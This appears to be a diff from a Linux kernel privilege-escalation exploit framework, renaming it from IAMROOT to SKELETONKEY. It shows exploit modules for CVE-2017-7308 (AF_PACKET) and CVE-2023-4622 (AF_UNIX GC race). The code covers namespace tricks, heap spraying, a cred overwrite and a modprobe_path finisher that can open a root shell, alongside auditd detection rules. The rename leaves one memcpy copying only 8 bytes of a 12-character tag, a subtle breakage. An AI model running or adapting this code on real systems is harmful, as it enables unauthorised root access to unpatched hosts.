|
||||||
|
|
||||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||||
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* extend known_offsets[] for new distro builds. */
|
* extend known_offsets[] for new distro builds. */
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
struct af_packet_offsets off;
|
struct af_packet_offsets off;
|
||||||
if (!resolve_offsets(&off, &v)) {
|
if (!resolve_offsets(&off, &v)) {
|
||||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||||
v.release);
|
v.release);
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||||
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* offset resolver can't find modprobe_path or (b) the trigger
|
* offset resolver can't find modprobe_path or (b) the trigger
|
||||||
* is rejected (silent backport). */
|
* is rejected (silent backport). */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets koff;
|
struct skeletonkey_kernel_offsets koff;
|
||||||
memset(&koff, 0, sizeof koff);
|
memset(&koff, 0, sizeof koff);
|
||||||
(void)iamroot_offsets_resolve(&koff);
|
(void)skeletonkey_offsets_resolve(&koff);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||||
iamroot_finisher_print_offset_help("af_packet");
|
skeletonkey_finisher_print_offset_help("af_packet");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
iamroot_offsets_print(&koff);
|
skeletonkey_offsets_print(&koff);
|
||||||
}
|
}
|
||||||
struct afp_arb_ctx arb_ctx = {
|
struct afp_arb_ctx arb_ctx = {
|
||||||
.ctx = ctx,
|
.ctx = ctx,
|
||||||
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.outer_uid = outer_uid,
|
.outer_uid = outer_uid,
|
||||||
.outer_gid = outer_gid,
|
.outer_gid = outer_gid,
|
||||||
};
|
};
|
||||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||||
&arb_ctx, !ctx->no_shell);
|
&arb_ctx, !ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* — the kernel will clean up sockets on child exit. */
|
* — the kernel will clean up sockets on child exit. */
|
||||||
|
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* WIN — one of our task_struct-spray children became uid 0.
|
/* WIN — one of our task_struct-spray children became uid 0.
|
||||||
* Signal parent via exit code; parent will not exec sh from
|
* Signal parent via exit code; parent will not exec sh from
|
||||||
* this child (its address space is corrupted-ish). The win
|
* this child (its address space is corrupted-ish). The win
|
||||||
* is symbolic at the iamroot level: we proved the primitive
|
* is symbolic at the skeletonkey level: we proved the primitive
|
||||||
* lands AND the cred-overwrite walk completes. */
|
* lands AND the cred-overwrite walk completes. */
|
||||||
_exit(0);
|
_exit(0);
|
||||||
}
|
}
|
||||||
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||||
"(signal=%d) — primitive likely fired but crashed\n",
|
"(signal=%d) — primitive likely fired but crashed\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||||
"for slab-out-of-bounds evidence\n");
|
"for slab-out-of-bounds evidence\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int code = WEXITSTATUS(status);
|
int code = WEXITSTATUS(status);
|
||||||
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* that targets OUR cred specifically (rather than spray-and-
|
* that targets OUR cred specifically (rather than spray-and-
|
||||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||||
*
|
*
|
||||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||||
* empirically confirmed root in this process. We didn't. */
|
* empirically confirmed root in this process. We didn't. */
|
||||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||||
"but THIS process is still uid %d\n", geteuid());
|
"but THIS process is still uid %d\n", geteuid());
|
||||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||||
"did not acquire root. The primitive demonstrably works.\n");
|
"did not acquire root. The primitive demonstrably works.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
case 4:
|
case 4:
|
||||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||||
"kernel has silent backport (detect was version-only)\n");
|
"kernel has silent backport (detect was version-only)\n");
|
||||||
return IAMROOT_OK; /* effectively patched */
|
return SKELETONKEY_OK; /* effectively patched */
|
||||||
|
|
||||||
case 5:
|
case 5:
|
||||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||||
"acquired root within the timeout window\n");
|
"acquired root within the timeout window\n");
|
||||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||||
"for evidence the OOB write occurred\n");
|
"for evidence the OOB write occurred\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
static const char af_packet_auditd[] =
|
static const char af_packet_auditd[] =
|
||||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||||
|
|
||||||
const struct iamroot_module af_packet_module = {
|
const struct skeletonkey_module af_packet_module = {
|
||||||
.name = "af_packet",
|
.name = "af_packet",
|
||||||
.cve = "CVE-2017-7308",
|
.cve = "CVE-2017-7308",
|
||||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||||
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_af_packet(void)
|
void skeletonkey_register_af_packet(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&af_packet_module);
|
skeletonkey_register(&af_packet_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_packet_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
|||||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||||
5.15.130 / 6.1.51 / 6.5.0.
|
5.15.130 / 6.1.51 / 6.5.0.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
**Widest deployment of any module in the corpus** — bug present
|
**Widest deployment of any module in the corpus** — bug present
|
||||||
in every Linux kernel below the fix (back to ~2.0 era).
|
in every Linux kernel below the fix (back to ~2.0 era).
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
|
|
||||||
#define AF_UNIX_GC_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module af_unix_gc_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+46
-46
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* af_unix_gc_cve_2023_4622 — IAMROOT module
|
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||||
@@ -55,7 +55,7 @@
|
|||||||
* carries the widest version range of any module we ship.
|
* carries the widest version range of any module we ship.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||||
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||||
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
|||||||
" creatable). The race window is microseconds wide and\n"
|
" creatable). The race window is microseconds wide and\n"
|
||||||
" needs thousands of iterations to win on average.\n");
|
" needs thousands of iterations to win on average.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Race-driver state ------------------------------------------- */
|
/* ---- Race-driver state ------------------------------------------- */
|
||||||
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
|||||||
memset(&p, 0, sizeof p);
|
memset(&p, 0, sizeof p);
|
||||||
p.mtype = 0x55; /* 'U' — unix */
|
p.mtype = 0x55; /* 'U' — unix */
|
||||||
memset(p.buf, 0x55, sizeof p.buf);
|
memset(p.buf, 0x55, sizeof p.buf);
|
||||||
memcpy(p.buf, "IAMROOTU", 8);
|
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||||
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
|
|||||||
|
|
||||||
/* ---- Exploit driver ---------------------------------------------- */
|
/* ---- Exploit driver ---------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||||
iamroot_result_t pre = af_unix_gc_detect(ctx);
|
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||||
if (pre == IAMROOT_OK) {
|
if (pre == SKELETONKEY_OK) {
|
||||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||||
* modprobe_path is unresolvable we refuse here rather than running
|
* modprobe_path is unresolvable we refuse here rather than running
|
||||||
* a 30 s race that has no finisher to call. */
|
* a 30 s race that has no finisher to call. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
bool full_chain_ready = false;
|
bool full_chain_ready = false;
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("af_unix_gc");
|
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||||
"modprobe_path offset unresolved; refusing\n");
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||||
" a small fraction per run — see module header.\n");
|
" a small fraction per run — see module header.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
full_chain_ready = true;
|
full_chain_ready = true;
|
||||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||||
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
signal(SIGPIPE, SIG_IGN);
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||||
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||||
|
|
||||||
/* 4. Empirical witness breadcrumb. */
|
/* 4. Empirical witness breadcrumb. */
|
||||||
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||||
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
.n_queues = AFUG_SPRAY_QUEUES,
|
.n_queues = AFUG_SPRAY_QUEUES,
|
||||||
.arb_calls = 0,
|
.arb_calls = 0,
|
||||||
};
|
};
|
||||||
int fr = iamroot_finisher_modprobe_path(&off,
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
af_unix_gc_arb_write,
|
af_unix_gc_arb_write,
|
||||||
&arb_ctx,
|
&arb_ctx,
|
||||||
!ctx->no_shell);
|
!ctx->no_shell);
|
||||||
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||||
fr, arb_ctx.arb_calls);
|
fr, arb_ctx.arb_calls);
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
drain_kmalloc_512(queues);
|
drain_kmalloc_512(queues);
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||||
_exit(35); /* finisher ran, no land */
|
_exit(35); /* finisher ran, no land */
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
/* PARENT */
|
/* PARENT */
|
||||||
int status = 0;
|
int status = 0;
|
||||||
pid_t w = waitpid(child, &status, 0);
|
pid_t w = waitpid(child, &status, 0);
|
||||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (WIFSIGNALED(status)) {
|
||||||
int sig = WTERMSIG(status);
|
int sig = WTERMSIG(status);
|
||||||
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
"(consistent with UAF firing under KASAN)\n", sig);
|
"(consistent with UAF firing under KASAN)\n", sig);
|
||||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||||
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
|
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WIFEXITED(status)) {
|
if (!WIFEXITED(status)) {
|
||||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||||
status);
|
status);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
|
||||||
if (rc == 34) {
|
if (rc == 34) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||||
"EXPLOIT_OK (race won + write landed)\n");
|
"EXPLOIT_OK (race won + write landed)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
if (rc == 35) {
|
if (rc == 35) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
" win + land within budget (expected outcome on most\n"
|
" win + land within budget (expected outcome on most\n"
|
||||||
" runs — race wins are a fraction of a percent).\n");
|
" runs — race wins are a fraction of a percent).\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (rc != 30) {
|
if (rc != 30) {
|
||||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
|||||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
return af_unix_gc_exploit_linux(ctx);
|
return af_unix_gc_exploit_linux(ctx);
|
||||||
#else
|
#else
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||||
}
|
}
|
||||||
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||||
/* harmless */
|
/* harmless */
|
||||||
}
|
}
|
||||||
/* Race threads + msg queues live inside the now-exited child;
|
/* Race threads + msg queues live inside the now-exited child;
|
||||||
* nothing else to drain. */
|
* nothing else to drain. */
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Detection rules --------------------------------------------- */
|
